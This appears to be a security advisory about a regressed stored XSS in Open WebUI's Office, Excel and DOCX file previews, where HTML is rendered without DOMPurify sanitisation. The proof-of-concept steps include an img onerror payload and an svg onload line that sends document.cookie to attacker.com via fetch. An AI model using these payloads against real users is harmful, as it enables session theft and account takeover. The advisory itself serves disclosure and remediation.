Описание
Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)
Related advisory
This advisory tracks a regression of the original Excel-preview XSS that was
publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc
(patched in v0.8.0). The same root cause — XLSX.utils.sheet_to_html() output
rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime
after v0.8.0 and is exploitable again as of v0.8.12 and through the version
range listed above. This advisory additionally covers the related
fileOfficeHtml sink in src/lib/components/chat/FileNav.svelte
(lines 458 and 1285) which was not part of the jwf8 advisory's scope.
Summary
Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.
This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.
Root Cause
The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.
But 3 file-preview paths skip it:
Occurrence 1: FilePreview.svelte — Office HTML
File: src/lib/components/chat/FileNav/FilePreview.svelte line 324
fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.
Occurrence 2: FileItemModal.svelte — Excel HTML
File: src/lib/components/common/FileItemModal.svelte line 560
excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.
Occurrence 3: FileItemModal.svelte — DOCX HTML
File: src/lib/components/common/FileItemModal.svelte line 590
docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.
Contrast with Sanitized Paths
For comparison, the same codebase correctly sanitizes in other locations:
Defense Propagation Gap
| Metric | Value |
|---|---|
Total {@html} usages | 23 |
| With DOMPurify | 9 (39%) |
| Without DOMPurify | 14 (61%) |
| Confirmed exploitable (file preview) | 3 |
The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.
Tested Version
- Open WebUI v0.8.12 (commit
9bd8425, tagv0.8.12)
Steps to Reproduce
PoC 1: Malicious Excel File
-
Create a
.xlsxfile with a cell containing:<img src=x onerror="alert(document.cookie)">(Using a library like openpyxl to inject raw HTML into cell values)
-
Upload the file to Open WebUI via the chat file upload
-
When any user previews the file →
excelHtmlrenders the injected HTML → XSS fires
PoC 2: Malicious DOCX File
-
Create a
.docxfile with embedded HTML:<w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r> -
Upload to Open WebUI
-
File preview renders
docxHtml→ XSS fires
PoC 3: Verify Rendering Path
Impact
- Stored XSS — malicious file is stored server-side, XSS fires for every user who previews it
- Session hijacking via
document.cookietheft - Account takeover — attacker can perform actions as the victim user
- Data exfiltration — read chat history, API keys, uploaded documents
- Multi-user environments — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)
- Defense propagation failure — DOMPurify is available and used elsewhere, but not applied to file preview paths
Suggested Remediation
Apply DOMPurify to all three file preview paths:
Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
- OWASP XSS Prevention Cheat Sheet
- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)
Пакеты
open-webui
<= 0.9.2
0.9.3
Связанные уязвимости
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, his advisory tracks a regression of the original Excel-preview XSS (CVE-2026-44549). The same root cause — XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again This vulnerability is fixed in 0.9.3.
Уязвимость функции DOMPurify.sanitize() веб-интерфейса на базе искуственного интеллекта Open WebUI, позволяющая нарушителю проводить межсайтовые сценарные атаки (XSS)